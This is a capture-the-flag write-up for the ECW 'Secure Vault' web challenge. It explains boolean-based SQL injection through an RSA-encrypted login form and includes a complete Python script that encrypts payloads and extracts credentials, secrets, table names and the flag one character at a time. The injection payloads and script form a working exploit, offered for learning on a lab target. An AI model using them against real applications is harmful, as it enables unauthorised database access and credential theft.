description

SQL injection 101

This is the login page of the challenge.

login

A classic login form, 2 inputs (mail/password), mmmhh that must be an SQLi!

Indeed, if we sent ' OR 1=1 -- the server returns: “Welcome back! Unfortunately we are under maintenance, please come back later :)

Let’s check the source code and how the data are sent.

<!DOCTYPE html>
<html lang="en">
<head>
	<title>Secure Vault Login</title>
  <script src="https://code.jquery.com/jquery-1.8.3.min.js"></script>
	<script src="static/js/jsencrypt.min.js"></script>
  <script>
  		$(document).ready(function () {

  			$("#challenge").submit(function (event) {
  				event.preventDefault();
  				var encrypt = new JSEncrypt();
  				encrypt.setPublicKey($('#pubkey').val());

  				email = $('#email').val();
  				passwd = $('#passwd').val();
  				jsonlogin = {
  					"email": email,
  					"passwd": passwd
  				}

  				var encrypted = encrypt.encrypt(JSON.stringify(jsonlogin));
  				$.post( "/login",{encrypted:encrypted}, function( data ) {
  					$('#content').text(data)
  					$('#msg_modal').on('shown.bs.modal', function () {}).modal('show');
  				});
  			})

  		});
  	</script>

    [...]

    <input type=hidden id="pubkey" value="-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6NxvZHf6eBzmIvfvRAOZ
UHPL8pzY5xdrFd0qa5Gh/E215tKFQ2vMMBpF/yyA2KE55bwaQnUPNkzPxPKV5MCL
rqdobV/HO6F4m4XIDP2PA6sJUmMjhh8X6aAzQ1rgMyF+J0z6zGY2kh2LtBAGDnu5
wfY+cORY/CyJZ7y8RRxEdeTDtsVnRe/xz++9cIF6e+yYqwJLa+nHD894oFbVlSok
NJh8e2eqpkIvfVotmp4JTjDJp9bpH+ibHWi3gj/o3SXvu832LHn1d5fANB9sQ44r
UjDfhr8h0bA8ZkO5Hj9W39M5WJK9MqzgV5lgb3patN0wOosPOKRBRKdA65jRbuxo
pwIDAQAB
-----END PUBLIC KEY-----">

Ok, so it seems that the login/password are encrypted with the public key and that the resulting cipher is send in JSON with a POST request to the server.

If we play a bit with the form we can easily find errors like:

(sqlite3.OperationalError) no such function: database [SQL: SELECT id, secret FROM users WHERE email='' OR substr(database(), 0, 1) = 41; -- ' AND password=''] (Background on this error at: http://sqlalche.me/e/e3q8)

(sqlite3.OperationalError) no such function: database [SQL: SELECT id, secret FROM users WHERE email='' OR substr(database(), 0, 1) = 41; -- ' AND password=''] (Background on this error at: http://sqlalche.me/e/e3q8)

We now know that we got SQLite3 as database and that we have, in the table called users, the fields:

  • id
  • secret
  • email
  • password

The query is:

SELECT id, secret FROM users WHERE email='var1' AND password='var2'

As we only have 2 possible outputs, we’ll have to use an SQLi Boolean Based.

The concept is simple, we’ll ask closed questions to the server and following the answer we’ll be able to guess the table’s content.

  • BAD USERNAME/PASSWORD ! Will be our no.
  • Welcome back! Unfortunately we are under maintenance, please come back later :) Will be our yes.

So for example, if we send:

' OR substr(email, 1, 1) = "a" --

The query will be :

SELECT id, secret FROM users WHERE email='' OR substr(email, 1, 1) = "a" --- AND password=''

We bypass the password check with the comment (–).

If the response from the server is: Welcome back! Unfortunately we are under maintenance, please come back later :), we’ll know that the first letter of the email is ‘a’, otherwise we’ll ask if it’s ‘b’. Repeat the operation and you’ll be able to retrieve the whole email address.

I am going to make this way harder than it needs to be.

So at this moment, I thought: “Hey, why not make my own http proxy so in other CTF I’ll be able to encrypted or modify every payload I want!”. Yes I know Burp or SQLMap tampers but if you don’t create your tools during CTF when are you going to make them.

After making a fully functional HTTP Proxy in Python I realized that the challenge was in HTTPS…

Being too lazy to implement the SSL Protocol, I decided to write a script in order to retrieve the login/password of the administrator and the secret.

You can find the HTTP Proxy at https://gitlab.com/magnussen7/httpproxy.

Exploit

So here’s my final script, you can also download it at https://gitlab.com/magnussen7/securevault.

#!/usr/bin/python
# coding: utf-8
import requests
import string
import time
import base64
import json
from Crypto.Cipher import PKCS1_v1_5
from Crypto.PublicKey import RSA

class SQLi_ciphering():
    def __init__(self, url, key_file, cookies=None):
    self.url = url

    public_rsa_key = open(key_file, 'r').read()
    rsa_key = RSA.importKey(public_rsa_key)
    self.cipher = PKCS1_v1_5.new(rsa_key)

    self.cookies = cookies

    def extract_data(self, payload, first_field, second_field, size_field, error_text, to_test=(string.ascii_letters + string.digits + '.' + '_' + '-' + '@' + ' ' + ',' + '(' + ')' + '{' + '}')):
    self.payload = payload

    result = {first_field:""}

    for i in range(1, size_field):
        for value in to_test:
            payload = self.payload.format(first_field, second_field, i, value)
            encrypted_test = json.dumps({"email":payload,"passwd":"\'"})
            encrypted_test = self.cipher.encrypt(encrypted_test)
            encrypted_test = base64.b64encode(encrypted_test)
            data = {'encrypted':encrypted_test}
            web_page = requests.post(self.url, cookies=self.cookies, data=data)

            if error_text not in web_page.text:
                print(web_page.text)
                print('Found : ' + str(value))
                result[first_field] = result[first_field] + str(value)
                print(result[first_field])
                break

            time.sleep(0.1)

    return result

    def extract_table_info(self, payload, error_text, to_test=string.digits):
    self.payload = payload
    result = {"info":""}

    for value in to_test:
        payload = self.payload.format(value)
        encrypted_test = json.dumps({"email":payload,"passwd":"\'"})
        encrypted_test = self.cipher.encrypt(encrypted_test)
        encrypted_test = base64.b64encode(encrypted_test)
        data = {'encrypted':encrypted_test}
        print('Testing ' + str(value) + ' position')
        web_page = requests.post(self.url, cookies=self.cookies, data=data)

        if error_text not in web_page.text:
            print(web_page.text)
            print('Found : ' + str(value))
            result["info"] = result["info"] + str(value)
            print(result["info"])
            break

        time.sleep(0.1)
    return result

if __name__ == '__main__':

    cookies = {'session': ''}
    extractor = SQLi_ciphering('https://web_securevault.challenge-ecw.fr/login', 'public.key', cookies)

    result = []
    # {'email': 'administrator@secure.vault'}
    result.append(extractor.extract_data('\' OR substr({0}, {2}, 1) = "{3}" AND id = {1} -- ', 'email', 1, 26, 'BAD USERNAME/PASSWORD !'))
    # {'email': 'lambda@secure.vault'}
    result.append(extractor.extract_data('\' OR substr({0}, {2}, 1) = "{3}" AND id != {1} -- ', 'email', 1, 20, 'BAD USERNAME/PASSWORD !'))
    # {'password': 'ef6f1816db25'}
    result.append(extractor.extract_data('\' OR substr({0}, {2}, 1) = "{3}" AND id = {1} -- ', 'password', 1, 12, 'BAD USERNAME/PASSWORD !'))
    # {'password': '7732906fc027'}
    result.append(extractor.extract_data('\' OR substr({0}, {2}, 1) = "{3}" AND id != {1} -- ', 'password', 1, 12, 'BAD USERNAME/PASSWORD !'))
    # {'secret': 'Digdeeper'}
    result.append(extractor.extract_data('\' OR substr({0}, {2}, 1) = "{3}" AND id = {1} -- ', 'secret', 1, 10, 'BAD USERNAME/PASSWORD !'))
    # {'secret': 'Tryagain'}
    result.append(extractor.extract_data('\' OR substr({0}, {2}, 1) = "{3}" AND id != {1} -- ', 'secret', 1, 8, 'BAD USERNAME/PASSWORD !'))

    # {'info': 1}
    result.append(extractor.extract_table_info('\' OR (SELECT COUNT(*) FROM sqlite_master WHERE type ="table" AND name NOT LIKE "sqlite_%" AND name NOT LIKE "users") = {0} -- ', 'BAD USERNAME/PASSWORD !'))
    # {'name': 'vault'}
    result.append(extractor.extract_data('\' OR substr((SELECT {0} FROM sqlite_master WHERE type ="table" AND name NOT LIKE "sqlite_%" AND name NOT LIKE "{1}"), {2}, 1) = "{3}" -- ', 'name', 'users', 5, 'BAD USERNAME/PASSWORD !'))
    # {'flag': 'ECW{}'}
    result.append(extractor.extract_data('\' OR substr((SELECT {0} FROM vault WHERE id = {1}), {2}, 1) = "{3}" -- ', 'flag', 1, 70, 'BAD USERNAME/PASSWORD !'))

    print(result)

The script is pretty simple, the main problem I had was to get the correct cipher. The JSEncrypt script in the challenge uses the PKCS1 standard while I was simply using the Python RSA module (that doesn’t use this standard).

First of all, I’ve exfiltrated all usernames, passwords and secrets but I couldn’t get the flag so I’ve started to explore the database by using the sqlite_master table (like information_schema in MySQL).

I finally found an other table called vault with a flag column. 70 characters later I got the flag!

This was a really cool challenge, the SQLi was simple but implementing it was really nice. Congratulations to the ECW team for this CTF!